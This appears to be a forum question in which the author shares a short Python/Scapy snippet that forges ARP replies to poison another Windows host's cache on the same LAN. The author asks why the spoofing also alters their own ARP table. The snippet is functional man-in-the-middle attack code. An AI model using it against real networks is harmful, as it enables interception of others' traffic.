I wrote an ARP spoofer in Python using Scapy which works fine. The only problem with it is that sending the malicious ARP packet also changes my own ARP table, which makes my host think that it is the default gateway. This is the packet that I am sending and how:
i_am_gateway = Ether(src=self_mac, dst=target_mac) /\
ARP(op=2, hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target)
soc = conf.L2socket()
soc.send(i_am_gateway)
# Also doesn't work
sendp(i_am_gateway)
It doesn't make a difference also when specifying an interface.
*I am running this on Windows 10, poisoning a different Windows 10 host on the same LAN.